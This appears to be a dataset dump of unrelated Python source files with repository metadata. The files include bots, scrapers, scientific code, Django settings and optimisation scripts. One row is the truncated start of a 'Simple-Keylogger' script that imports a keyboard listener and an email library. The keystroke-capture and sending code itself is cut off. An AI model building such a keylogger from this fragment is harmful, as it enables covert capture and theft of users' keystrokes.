PlotsDirectory = '../plots/Week4/task2-3/'
if not os.path.exists(PlotsDirectory):
os.makedirs(PlotsDirectory)
print("reading video...")
seq_color = video_to_frame('video1.mp4', grayscale=False)
max_size = 100
se... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 25 | 66 |
7f352b13447c3e217095218dd87a8d7019d83f3a | 7,803 | py | Python | uwu.py | CapnS/uwu-bot | 3c06badaa3c76d3f2f6949fbcc20c7b0e33a5e04 | [
"MIT"
] | null | null | null | uwu.py | CapnS/uwu-bot | 3c06badaa3c76d3f2f6949fbcc20c7b0e33a5e04 | [
"MIT"
] | null | null | null | uwu.py | CapnS/uwu-bot | 3c06badaa3c76d3f2f6949fbcc20c7b0e33a5e04 | [
"MIT"
] | null | null | null | import discord
import asyncio
import sys
import logging
import logging.handlers
logger = logging.getLogger("bot")
logger.setLevel(logging.INFO)
handler = logging.handlers.TimedRotatingFileHandler(
filename=f"logs/bot.log",
encoding="utf-8",
when="D",
interval=1,
utc=True,
backupCount=10,
)
hand... | 31.46371 | 120 | 0.607587 | import discord
from discord.ext import commands
from discord.ext.commands.cooldowns import BucketType
import traceback
import asyncio
import asyncpg
import yaml # removed aiofiles because its not needed
from datetime import datetime
import os
import sys
import logging
import aiohttp
import aioredis
import psutil
impor... | 0 | 0 | 4,919 | 1,276 | 0 | 0 | 0 | -17 | 374 |
a4f80aad75cf3811b8a00b25c929d27b04510ba0 | 1,206 | py | Python | ipb_homework_checker/check_homework.py | PRBonn/ipb_homework_checker | 750a42d19a6fb6f8d18785bd8bc1d7aea9caba50 | [
"Apache-2.0"
] | 11 | 2018-12-18T16:21:58.000Z | 2021-07-11T06:31:24.000Z | ipb_homework_checker/check_homework.py | PRBonn/ipb_homework_checker | 750a42d19a6fb6f8d18785bd8bc1d7aea9caba50 | [
"Apache-2.0"
] | 1 | 2018-12-18T00:43:23.000Z | 2018-12-18T00:43:23.000Z | ipb_homework_checker/check_homework.py | PRBonn/ipb_homework_checker | 750a42d19a6fb6f8d18785bd8bc1d7aea9caba50 | [
"Apache-2.0"
] | 3 | 2020-08-15T16:07:17.000Z | 2020-11-15T20:23:00.000Z | #!/usr/bin/python3
"""Script to check this homework."""
import argparse
import logging
from .checker import Checker
from .md_writer import MdWriter
logging.basicConfig()
log = logging.getLogger("GHC")
log.setLevel(logging.INFO)
def main():
"""Run this script."""
parser = argparse.ArgumentParser()
parse... | 25.659574 | 60 | 0.637645 | #!/usr/bin/python3
"""Script to check this homework."""
import argparse
import logging
from .checker import Checker
from .md_writer import MdWriter
logging.basicConfig()
log = logging.getLogger("GHC")
log.setLevel(logging.INFO)
def main():
"""Run this script."""
parser = argparse.ArgumentParser()
parse... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b3a96457def15d3ea68d7d61ff73d5f543998c9c | 785 | py | Python | Hacker rank/he.py | arghasen/Poker | ea4f4c41371b0bab2540e79141915fd7405dcb43 | [
"MIT"
] | null | null | null | Hacker rank/he.py | arghasen/Poker | ea4f4c41371b0bab2540e79141915fd7405dcb43 | [
"MIT"
] | null | null | null | Hacker rank/he.py | arghasen/Poker | ea4f4c41371b0bab2540e79141915fd7405dcb43 | [
"MIT"
] | null | null | null | T = int(raw_input())
for t in range(T):
n, m = map(int, raw_input().split())
powers = {}
bullets = {}
origBullet = 0
levelBullet = 0
for ni in range( n):
powers[ni] = map(int, raw_input().split())
for ni in range( n):
bullets[ni] = map(int, raw_input().split())
bullets[-1... | 35.681818 | 175 | 0.55414 | T = int(raw_input())
for t in range(T):
n, m = map(int, raw_input().split())
powers = {}
bullets = {}
origBullet = 0
levelBullet = 0
for ni in range( n):
powers[ni] = map(int, raw_input().split())
for ni in range( n):
bullets[ni] = map(int, raw_input().split())
bullets[-1... | 0 | 0 | 0 | 0 | 0 | 379 | 0 | 0 | 26 |
1b68728e4c9fce3d77e5260d475642a9f4616673 | 49,516 | py | Python | openet/core/interpolate.py | torresrua/openet-core-beta | 95f830164ed579f72fc383ac4e1fa6b6b11bdbac | [
"Apache-2.0"
] | null | null | null | openet/core/interpolate.py | torresrua/openet-core-beta | 95f830164ed579f72fc383ac4e1fa6b6b11bdbac | [
"Apache-2.0"
] | null | null | null | openet/core/interpolate.py | torresrua/openet-core-beta | 95f830164ed579f72fc383ac4e1fa6b6b11bdbac | [
"Apache-2.0"
] | 1 | 2021-08-17T04:37:23.000Z | 2021-08-17T04:37:23.000Z |
import ee
from . import utils
# import openet.core.utils as utils
def daily(target_coll, source_coll, interp_days=32, interp_method='linear',
use_joins=False, compute_product=False):
"""Interpolate non-daily source images to a daily target image collection
Parameters
----------
target_col... | 42.723037 | 87 | 0.625273 | import datetime
import logging
import ee
from dateutil.relativedelta import *
from . import utils
# import openet.core.utils as utils
def daily(target_coll, source_coll, interp_days=32, interp_method='linear',
use_joins=False, compute_product=False):
"""Interpolate non-daily source images to a daily t... | 0 | 0 | 0 | 0 | 32,084 | 776 | 0 | 2 | 161 |
d647d9fc435832b4a77f277be087b6f1b5bcaf8b | 118 | py | Python | Stepin_Roman/lesson_2/DZ_1.1.py | StepinRomanSerg/1824_GB_Python_1 | 0657b4d03e0ce73ddbb100ee12da5508820caeea | [
"MIT"
] | null | null | null | Stepin_Roman/lesson_2/DZ_1.1.py | StepinRomanSerg/1824_GB_Python_1 | 0657b4d03e0ce73ddbb100ee12da5508820caeea | [
"MIT"
] | null | null | null | Stepin_Roman/lesson_2/DZ_1.1.py | StepinRomanSerg/1824_GB_Python_1 | 0657b4d03e0ce73ddbb100ee12da5508820caeea | [
"MIT"
] | null | null | null | a = 15 * 3
b = 15 / 3
c = 15 // 2
d = 15 ** 2
print(type(a), a)
print(type(b), b)
print(type(c), b)
print(type(d), d)
| 13.111111 | 17 | 0.508475 | a = 15 * 3
b = 15 / 3
c = 15 // 2
d = 15 ** 2
print(type(a), a)
print(type(b), b)
print(type(c), b)
print(type(d), d)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
57c553a9a739ecbb0b4fd2427d2bac62b228e5ff | 599 | py | Python | Python/WebChat/main.py | MariaMich/Hacktoberfest2019-2 | a1a1756fa4594ab9965405e0361a5125b1d4dd48 | [
"MIT"
] | null | null | null | Python/WebChat/main.py | MariaMich/Hacktoberfest2019-2 | a1a1756fa4594ab9965405e0361a5125b1d4dd48 | [
"MIT"
] | null | null | null | Python/WebChat/main.py | MariaMich/Hacktoberfest2019-2 | a1a1756fa4594ab9965405e0361a5125b1d4dd48 | [
"MIT"
] | null | null | null | #! /usr/bin/python
# -*- encoding: utf-8 -*-
from flask import Flask
from flask_socketio import SocketIO
app = Flask(__name__, template_folder='templates', static_url_path='/static/', static_folder='static')
app.config['SECRET_KEY'] = 'ines'
socketio = SocketIO(app)
if __name__ == '__main__':
socketio.run(app, debu... | 23.96 | 102 | 0.722871 | #! /usr/bin/python
# -*- encoding: utf-8 -*-
from flask import Flask, render_template, jsonify
from flask_socketio import SocketIO, emit
app = Flask(__name__, template_folder='templates', static_url_path='/static/', static_folder='static')
app.config['SECRET_KEY'] = 'ines'
socketio = SocketIO(app)
@app.route('/')
de... | 0 | 170 | 0 | 0 | 0 | 0 | 0 | 32 | 69 |
a3f069b53d411bc2f04b599eaa7ce34537700ad7 | 1,762 | py | Python | parlai/tasks/cbt/agents.py | cherie11/ParlAI | 1c1e4b00b398278b652c24ed5cac072cff6a9c9a | [
"MIT"
] | 258 | 2020-04-10T07:01:06.000Z | 2022-03-26T11:49:30.000Z | parlai/tasks/cbt/agents.py | cherie11/ParlAI | 1c1e4b00b398278b652c24ed5cac072cff6a9c9a | [
"MIT"
] | 33 | 2020-04-10T04:28:51.000Z | 2022-03-31T02:52:02.000Z | parlai/tasks/cbt/agents.py | cherie11/ParlAI | 1c1e4b00b398278b652c24ed5cac072cff6a9c9a | [
"MIT"
] | 43 | 2020-04-14T10:43:33.000Z | 2022-03-13T02:27:54.000Z | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# By default train on all tasks at once.
| 27.107692 | 79 | 0.628831 | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from parlai.core.teachers import FbDialogTeacher
from parlai.core.agents import MultiTaskTeacher
from .build import buil... | 0 | 0 | 0 | 857 | 0 | 375 | 0 | 34 | 249 |
4b95b9ac7e0519a13cf1fee5ad8da8e76d71d11a | 431 | py | Python | Generators.py | m10singh94/Python-programs | a83083044b4a85afcf70c4b7024287a808b01fee | [
"Apache-2.0"
] | null | null | null | Generators.py | m10singh94/Python-programs | a83083044b4a85afcf70c4b7024287a808b01fee | [
"Apache-2.0"
] | null | null | null | Generators.py | m10singh94/Python-programs | a83083044b4a85afcf70c4b7024287a808b01fee | [
"Apache-2.0"
] | null | null | null | #1
for number in gensquares(10):
print(number)
print('\n')
#2
for number in rand_num(1,10,12):
print(number)
print('\n')
#3
s = 'hello'
s_iter = iter(s)
print(next(s_iter))
print(next(s_iter))
print(next(s_iter))
print(next(s_iter))
print(next(s_iter)) | 16.576923 | 38 | 0.645012 | import random
#1
def gensquares(n):
for x in range(n):
yield x**2
for number in gensquares(10):
print(number)
print('\n')
#2
def rand_num(low, high, n):
for i in range(0,n):
yield random.randint(low,high)
for number in rand_num(1,10,12):
print(number)
print('\n')
#3
s = 'hello'
s_ite... | 0 | 0 | 0 | 0 | 109 | 0 | 0 | -8 | 66 |
f68c9af4edf24f6038b2dc6406e316c94a3d6b34 | 1,467 | py | Python | sandbox/test_abort.py | gwiederhecker/MPh | d5eb7b6e9e00fe3fcd00acf53278a89243ae512a | [
"MIT"
] | 1 | 2021-12-23T09:15:56.000Z | 2021-12-23T09:15:56.000Z | sandbox/test_abort.py | gwiederhecker/MPh | d5eb7b6e9e00fe3fcd00acf53278a89243ae512a | [
"MIT"
] | null | null | null | sandbox/test_abort.py | gwiederhecker/MPh | d5eb7b6e9e00fe3fcd00acf53278a89243ae512a | [
"MIT"
] | null | null | null | """
Tests if `KeyboardInterrupt` exception are properly handled.
This test currently fails. That is, trying to interrupt an ongoing
operation of the Comsol client crashes out of the Python session
instead of allowing further code execution or a return to the
interactive prompt.
The script does not depend on M... | 33.340909 | 77 | 0.728698 | """
Tests if `KeyboardInterrupt` exception are properly handled.
This test currently fails. That is, trying to interrupt an ongoing
operation of the Comsol client crashes out of the Python session
instead of allowing further code execution or a return to the
interactive prompt.
The script does not depend on ... | 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
daf513fbe709d0f310a608eb9a54407a037600eb | 1,112 | py | Python | modules/dazzle/src/main/jython/exec_test_setup.py | drichan/xito | 811f29e8ecda8072ce2a0eb4373ec16f6b083c99 | [
"Apache-2.0"
] | null | null | null | modules/dazzle/src/main/jython/exec_test_setup.py | drichan/xito | 811f29e8ecda8072ce2a0eb4373ec16f6b083c99 | [
"Apache-2.0"
] | null | null | null | modules/dazzle/src/main/jython/exec_test_setup.py | drichan/xito | 811f29e8ecda8072ce2a0eb4373ec16f6b083c99 | [
"Apache-2.0"
] | 1 | 2018-10-19T07:49:02.000Z | 2018-10-19T07:49:02.000Z | import shutil
import java.lang.System
print "Setup exec_test using exec_test_setup.py"
#System Properties
user_home = java.lang.System.getProperty("user.home")
base_dir = java.lang.System.getProperty("basedir")
project_version = java.lang.System.getProperty("project.version")
artifactId = java.lang.System.getProperty... | 41.185185 | 124 | 0.756295 | import shutil
import java.lang.System
print "Setup exec_test using exec_test_setup.py"
#System Properties
user_home = java.lang.System.getProperty("user.home")
base_dir = java.lang.System.getProperty("basedir")
project_version = java.lang.System.getProperty("project.version")
artifactId = java.lang.System.getProperty... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
18b99e8cb5a22dc82d72bb7f1aca63ac9a0ca873 | 183 | py | Python | sololearn/FlowingWords/FlowingWords.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | 3 | 2020-01-08T18:33:11.000Z | 2022-02-08T00:38:26.000Z | sololearn/FlowingWords/FlowingWords.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | null | null | null | sololearn/FlowingWords/FlowingWords.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | 4 | 2020-08-08T22:02:23.000Z | 2022-02-07T17:40:15.000Z | #!/usr/bin/python
in_str = str(input()).lower().split()
for i in range(1, len(in_str)):
if in_str[i-1][-1] != in_str[i][0]:
print("false")
exit(0)
print("true") | 18.3 | 39 | 0.546448 | #!/usr/bin/python
in_str = str(input()).lower().split()
for i in range(1, len(in_str)):
if in_str[i-1][-1] != in_str[i][0]:
print("false")
exit(0)
print("true") | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c17f59bdcdb9876af0c29a577cc8884e6cd3bfe3 | 31,676 | py | Python | registry/spiders/CorporationSpider.py | openc/GeorgiaCorporationScraper | 2bccab5ef2f00507128bc3dc299d5c27c3b39b97 | [
"MIT"
] | 1 | 2017-07-30T21:50:22.000Z | 2017-07-30T21:50:22.000Z | registry/spiders/CorporationSpider.py | openc/GeorgiaCorporationScraper | 2bccab5ef2f00507128bc3dc299d5c27c3b39b97 | [
"MIT"
] | null | null | null | registry/spiders/CorporationSpider.py | openc/GeorgiaCorporationScraper | 2bccab5ef2f00507128bc3dc299d5c27c3b39b97 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
| 46.857988 | 157 | 0.555057 | # -*- coding: utf-8 -*-
import re
import math
import urlparse
from scrapy.spider import BaseSpider
from scrapy.http import Request, FormRequest
from scrapy.selector import HtmlXPathSelector
from scrapy import log
from bs4 import BeautifulSoup
from registry.items import Corporation, Person, CorporationDocument, State... | 1,815 | 0 | 0 | 30,629 | 0 | 0 | 0 | 172 | 246 |
09acc4605fd5b38508b61e04b86a6d3de0f7cc15 | 1,474 | py | Python | docs/client.py | kmader/MMdnn | f62a33a7d6834680537693c7fdc7e90e1b2382ef | [
"MIT"
] | 3,442 | 2017-11-20T08:39:51.000Z | 2019-05-06T10:51:19.000Z | docs/client.py | kmader/MMdnn | f62a33a7d6834680537693c7fdc7e90e1b2382ef | [
"MIT"
] | 430 | 2017-11-29T04:21:48.000Z | 2019-05-06T05:37:37.000Z | docs/client.py | kmader/MMdnn | f62a33a7d6834680537693c7fdc7e90e1b2382ef | [
"MIT"
] | 683 | 2017-11-20T08:50:34.000Z | 2019-05-04T04:25:14.000Z | '''
Send JPEG image to tensorflow_model_server loaded with GAN model.
Hint: the code has been compiled together with TensorFlow serving
and not locally. The client is called in the TensorFlow Docker container
'''
from __future__ import print_function
# Communication to TensorFlow server via gRPC
import tensorflow as... | 33.5 | 108 | 0.755088 | '''
Send JPEG image to tensorflow_model_server loaded with GAN model.
Hint: the code has been compiled together with TensorFlow serving
and not locally. The client is called in the TensorFlow Docker container
'''
from __future__ import print_function
# Communication to TensorFlow server via gRPC
from grpc.beta impor... | 0 | 0 | 0 | 0 | 0 | 651 | 0 | 79 | 89 |
57a796c67682624626cfd8021fec8667928490a1 | 1,863 | py | Python | setup_logging.py | mnooel/BUSADM_795_UtilizationPrediction | 65b7b5f7902133fdf93ffa0c15362c7c5cf20196 | [
"MIT"
] | null | null | null | setup_logging.py | mnooel/BUSADM_795_UtilizationPrediction | 65b7b5f7902133fdf93ffa0c15362c7c5cf20196 | [
"MIT"
] | null | null | null | setup_logging.py | mnooel/BUSADM_795_UtilizationPrediction | 65b7b5f7902133fdf93ffa0c15362c7c5cf20196 | [
"MIT"
] | null | null | null | # setup_logging.py
import logging
import logging.config
from settings import LOGS_DIR
def setup_logger(logger: logging.Logger, log_file_name: str) -> None:
"""
function that setups a standard logger
:rtype: None
:param logger: logger object initiated at the beginning of the file
:param log_file_... | 30.540984 | 91 | 0.677939 | # setup_logging.py
import logging
import logging.config
from settings import LOGS_DIR
class CustomFormatter(logging.Formatter):
"""Logging Formatter to ad colors and count warnings / errors"""
pink = "\x1b[35m"
blue = "\033[96m"
yellow = "\033[93m"
red = "\x1b[31;21m"
bold_red = "\033[41m"
... | 0 | 0 | 0 | 760 | 0 | 0 | 0 | 0 | 23 |
35d3af359c0efd1434ebe45e1cddcebf6507ca75 | 211 | py | Python | app.py | behrad-kzm/ClubHouseFollowers | b22c5cd2d53aa72506247726a86d4d027d267091 | [
"MIT"
] | 1 | 2021-05-07T13:07:47.000Z | 2021-05-07T13:07:47.000Z | app.py | behrad-kzm/ClubHouseFollowers | b22c5cd2d53aa72506247726a86d4d027d267091 | [
"MIT"
] | 2 | 2021-05-07T12:58:34.000Z | 2021-06-12T22:17:07.000Z | app.py | behrad-kzm/ClubHouseFollowers | b22c5cd2d53aa72506247726a86d4d027d267091 | [
"MIT"
] | 2 | 2021-04-22T08:20:28.000Z | 2022-01-11T01:13:29.000Z | from flask import Flask
from web.BaseRouter import BaseRouter
app = Flask(__name__)
base_url = '/'
router = BaseRouter(base_url)
router.register_flask_blueprints(app)
if __name__ == '__main__':
app.run()
| 17.583333 | 37 | 0.753555 | from flask import Flask
from web.BaseRouter import BaseRouter
app = Flask(__name__)
base_url = '/'
router = BaseRouter(base_url)
router.register_flask_blueprints(app)
if __name__ == '__main__':
app.run()
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
feb38174f1700808131d73f0b240b8072e5ef95a | 748 | py | Python | setup.py | gsoft-inc/github-secret-finder | 07e85fbc84773dfe9e921d2e7a3c0372cb936177 | [
"Apache-2.0"
] | 4 | 2019-10-22T20:03:41.000Z | 2020-11-18T18:00:56.000Z | setup.py | mlefebvre/github-secret-finder | 07e85fbc84773dfe9e921d2e7a3c0372cb936177 | [
"Apache-2.0"
] | null | null | null | setup.py | mlefebvre/github-secret-finder | 07e85fbc84773dfe9e921d2e7a3c0372cb936177 | [
"Apache-2.0"
] | 1 | 2021-03-30T16:28:57.000Z | 2021-03-30T16:28:57.000Z | from setuptools import setup, find_packages
setup(
name='github_secret_finder',
version='2.0.0',
description='Script to monitor commits from Github users and organizations for secrets.',
url='https://github.com/gsoft-inc/github-secret-finder',
author='Mathieu Gascon-Lefebvre',
author_email='mat... | 29.92 | 93 | 0.663102 | from setuptools import setup, find_packages
setup(
name='github_secret_finder',
version='2.0.0',
description='Script to monitor commits from Github users and organizations for secrets.',
url='https://github.com/gsoft-inc/github-secret-finder',
author='Mathieu Gascon-Lefebvre',
author_email='mat... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
308df90572ef430a57e853178c42a774fc34567b | 284 | py | Python | blog/migrations/0003_delete_postthum.py | jinseopim/kkp | 609c05358bb76d14ce6796f4273a7867a494ce14 | [
"MIT"
] | 1 | 2020-11-07T02:27:46.000Z | 2020-11-07T02:27:46.000Z | blog/migrations/0003_delete_postthum.py | jinseopim/kkp | 609c05358bb76d14ce6796f4273a7867a494ce14 | [
"MIT"
] | null | null | null | blog/migrations/0003_delete_postthum.py | jinseopim/kkp | 609c05358bb76d14ce6796f4273a7867a494ce14 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-01 02:59
| 16.705882 | 47 | 0.588028 | # Generated by Django 3.1.2 on 2020-11-01 02:59
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('blog', '0002_postthum'),
]
operations = [
migrations.DeleteModel(
name='PostThum',
),
]
| 0 | 0 | 0 | 178 | 0 | 0 | 0 | 11 | 46 |
5a2275f8ed7adc271398e4f82c8f878f8d5aa6e7 | 3,728 | py | Python | Start.py | Glitchhy/Simple-Keylogger | 3682517e90ef651c1d54ee9d29fcf512e1655b97 | [
"MIT"
] | 9 | 2020-08-14T12:08:59.000Z | 2022-02-22T02:58:32.000Z | Start.py | Glitchhy/Simple-Keylogger | 3682517e90ef651c1d54ee9d29fcf512e1655b97 | [
"MIT"
] | 1 | 2019-12-29T07:06:50.000Z | 2019-12-29T08:59:51.000Z | Start.py | Glitchhy/Simple-Keylogger | 3682517e90ef651c1d54ee9d29fcf512e1655b97 | [
"MIT"
] | 3 | 2020-08-03T17:32:53.000Z | 2020-09-04T16:36:48.000Z | from pynput.keyboard import Listener
import os.path
import time
import os
from sys import platform as _platform
#Defining color values for later
G = '\033[32m' #Green
R = '\033[31m' # Red
C = '\033[36m' # Cyan
W = '\033[0m' # White
#Needs testing but it SHOULD work
if _platform == "linux" or _platf... | 31.327731 | 141 | 0.450644 | import pynput
from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
import os.path
from datetime import datetime
import time
import sys
import os
from sys import platform as _platform
#Defining color values for later
G = '\033[32m' #Green
R = '\033[31m' # Red
C = '\033[36m' # Cyan
... | 4 | 0 | 0 | 0 | 0 | 2,383 | 0 | -18 | 319 |
d70b66e55221141909a6df82d5a89e6e99db91b0 | 5,712 | py | Python | src/mbed_cloud/_backends/mds/models/endpoint.py | GQMai/mbed-cloud-sdk-python | 76ef009903415f37f69dcc5778be8f5fb14c08fe | [
"Apache-2.0"
] | 12 | 2017-12-28T11:18:43.000Z | 2020-10-04T12:11:15.000Z | src/mbed_cloud/_backends/mds/models/endpoint.py | GQMai/mbed-cloud-sdk-python | 76ef009903415f37f69dcc5778be8f5fb14c08fe | [
"Apache-2.0"
] | 50 | 2017-12-21T12:50:41.000Z | 2020-01-13T16:07:08.000Z | src/mbed_cloud/_backends/mds/models/endpoint.py | GQMai/mbed-cloud-sdk-python | 76ef009903415f37f69dcc5778be8f5fb14c08fe | [
"Apache-2.0"
] | 8 | 2018-04-25T17:47:29.000Z | 2019-08-29T06:38:27.000Z | # coding: utf-8
"""
Connect API
Pelion Device Management Connect API allows web applications to communicate with devices. You can subscribe to device resources and read/write values to them. Device Management Connect allows connectivity to devices by queueing requests and caching resource values.
OpenAPI... | 28.277228 | 428 | 0.572129 | # coding: utf-8
"""
Connect API
Pelion Device Management Connect API allows web applications to communicate with devices. You can subscribe to device resources and read/write values to them. Device Management Connect allows connectivity to devices by queueing requests and caching resource values.
OpenAPI... | 0 | 2,624 | 0 | 2,584 | 0 | 0 | 0 | -3 | 90 |
6ae1eab841865410c707419b131d26d4877665d7 | 1,377 | py | Python | scraperplot.py | TCR1990/SmartBuilding-master | fb3b373cabd442b7636b7e22c4e97853e9218d6f | [
"CC0-1.0"
] | 1 | 2020-05-18T14:14:18.000Z | 2020-05-18T14:14:18.000Z | scraperplot.py | nickmalleson/SmartBuilding-master | be644c28d920b30bf66a9fac1cf4f158a3129ab0 | [
"CC0-1.0"
] | 1 | 2020-02-04T17:26:19.000Z | 2020-02-04T17:26:19.000Z | scraperplot.py | nickmalleson/SmartBuilding-master | be644c28d920b30bf66a9fac1cf4f158a3129ab0 | [
"CC0-1.0"
] | 1 | 2020-01-20T10:01:55.000Z | 2020-01-20T10:01:55.000Z | # -*- coding: utf-8 -*-
"""
scraperplot.py
For retreiving and plotting data using the 'scraper.py' module.
Created on Wed Oct 30 15:11:00 2019
@author: Thomas Richards
"""
# import scraper.py
import scraper as scrp
# Run functions in get module
scraper = scrp.Scraper()
choices = input('What do you want to plot? Pr... | 30.6 | 78 | 0.716776 | # -*- coding: utf-8 -*-
"""
scraperplot.py
For retreiving and plotting data using the 'scraper.py' module.
Created on Wed Oct 30 15:11:00 2019
@author: Thomas Richards
"""
# import scraper.py
import scraper as scrp
# Run functions in get module
scraper = scrp.Scraper()
choices = input('What do you want to plot? Pr... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c60241305672e3e339af5d324f08b5f8a9314443 | 20,971 | py | Python | remake/remake_cmd.py | markmuetz/remake | a3c5098be57b60b01ffaa4a7fcb937f9337dcdea | [
"Apache-2.0"
] | null | null | null | remake/remake_cmd.py | markmuetz/remake | a3c5098be57b60b01ffaa4a7fcb937f9337dcdea | [
"Apache-2.0"
] | 35 | 2020-12-22T11:36:46.000Z | 2021-12-03T15:49:41.000Z | remake/remake_cmd.py | markmuetz/remake | a3c5098be57b60b01ffaa4a7fcb937f9337dcdea | [
"Apache-2.0"
] | null | null | null | from logging import getLogger
try:
# Might not be installed.
import ipdb as debug
except ImportError:
try:
import argcomplete
except ImportError:
argcomplete = None
logger = getLogger(__name__)
| 35.725724 | 100 | 0.564351 | import os
import sys
import argparse
import shutil
from logging import getLogger
from pathlib import Path
from time import sleep
from typing import List, Union, Optional, Sequence, Text
try:
# Might not be installed.
import ipdb as debug
except ImportError:
import pdb as debug
try:
import argcomplete
e... | 0 | 0 | 0 | 10,190 | 0 | 9,614 | 0 | 140 | 795 |
970a8fe9118aca227d5ddecdd61006a20022478a | 9,539 | py | Python | ScienceCruiseDataManagement/ScienceCruiseDataManagement/settings.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 6 | 2017-10-06T09:18:04.000Z | 2022-02-10T08:54:56.000Z | ScienceCruiseDataManagement/ScienceCruiseDataManagement/settings.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 12 | 2020-02-27T09:24:50.000Z | 2021-09-22T17:39:55.000Z | ScienceCruiseDataManagement/ScienceCruiseDataManagement/settings.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 1 | 2017-10-16T13:49:33.000Z | 2017-10-16T13:49:33.000Z | """
Django settings for ScienceCruiseDataManagement project.
Generated by 'django-admin startproject' using Django 1.10.4.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/sett... | 33.470175 | 172 | 0.73037 | """
Django settings for ScienceCruiseDataManagement project.
Generated by 'django-admin startproject' using Django 1.10.4.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/sett... | 0 | 0 | 0 | 0 | 0 | 779 | 0 | 7 | 49 |
37da04a97535250d818772393ad249af4c7febea | 70 | py | Python | views/__init__.py | bkosciow/piader | 81ca2c8a4bd4a834fb460b5306fca0c5ce0584c4 | [
"MIT"
] | null | null | null | views/__init__.py | bkosciow/piader | 81ca2c8a4bd4a834fb460b5306fca0c5ce0584c4 | [
"MIT"
] | null | null | null | views/__init__.py | bkosciow/piader | 81ca2c8a4bd4a834fb460b5306fca0c5ce0584c4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
""" Views
"""
__author__ = 'Bartosz Kociw'
| 11.666667 | 30 | 0.557143 | # -*- coding: utf-8 -*-
""" Views
"""
__author__ = 'Bartosz Kościów'
| 4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7655b0892a69e9fd5d785d3cebb5a5bf32252527 | 886 | py | Python | IRIS- Logistic Regression.py | aayushi-droid/KNN-Machine-Learning-Algorithm | 5bd71c1a3c53decf497c7c76eaa556eecfacf29c | [
"MIT"
] | null | null | null | IRIS- Logistic Regression.py | aayushi-droid/KNN-Machine-Learning-Algorithm | 5bd71c1a3c53decf497c7c76eaa556eecfacf29c | [
"MIT"
] | null | null | null | IRIS- Logistic Regression.py | aayushi-droid/KNN-Machine-Learning-Algorithm | 5bd71c1a3c53decf497c7c76eaa556eecfacf29c | [
"MIT"
] | null | null | null | import pandas as pd
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from sklearn.metrics import accuracy_score
from sklearn.linear_model import LogisticRegression
# Load The Data Into DataFrame with Pandas
iris = load_i... | 29.533333 | 68 | 0.755079 | import pandas as pd
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from sklearn.metrics import accuracy_score
from sklearn.linear_model import LogisticRegression
# Load The Data Into DataFrame with Pandas
iris = load_i... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
649428646af304c32b3dae64d4cf321c4cf12be2 | 4,140 | py | Python | nonlinear_data_fitting/particle_swam_optimization_algorithm.py | almostdutch/numerical-optimization-algorithms | cd6c1306cb04eccce62a74420323bda83058c1d6 | [
"MIT"
] | null | null | null | nonlinear_data_fitting/particle_swam_optimization_algorithm.py | almostdutch/numerical-optimization-algorithms | cd6c1306cb04eccce62a74420323bda83058c1d6 | [
"MIT"
] | 1 | 2021-06-02T10:07:26.000Z | 2021-06-03T10:23:46.000Z | nonlinear_data_fitting/particle_swam_optimization_algorithm.py | almostdutch/numerical-optimization-algorithms | cd6c1306cb04eccce62a74420323bda83058c1d6 | [
"MIT"
] | null | null | null | """
particle_swam_optimization_algorithm.py
Returns the minimizer of the function
func_ps - anonimous function (vectorized for multiple particles)
"""
import numpy as np
import numpy.matlib
np.random.seed();
| 42.244898 | 135 | 0.624638 | """
particle_swam_optimization_algorithm.py
Returns the minimizer of the function
func_ps - anonimous function (vectorized for multiple particles)
"""
import numpy as np
import numpy.matlib
np.random.seed();
def particle_swam_optimization_algorithm(func_ps, options):
report = {};
N_ps = options['N_ps']; # n... | 0 | 0 | 0 | 0 | 0 | 3,905 | 0 | 0 | 23 |
485e47889cf0e06f86945cb9c271319ee0ab37ea | 6,749 | py | Python | CM3D2 Converter/misc_TEXT_HT_header.py | Algester/Blender-CM3D2-Converter | eb1df082ac72aa013dc996427bcee563b1fedaae | [
"Apache-2.0"
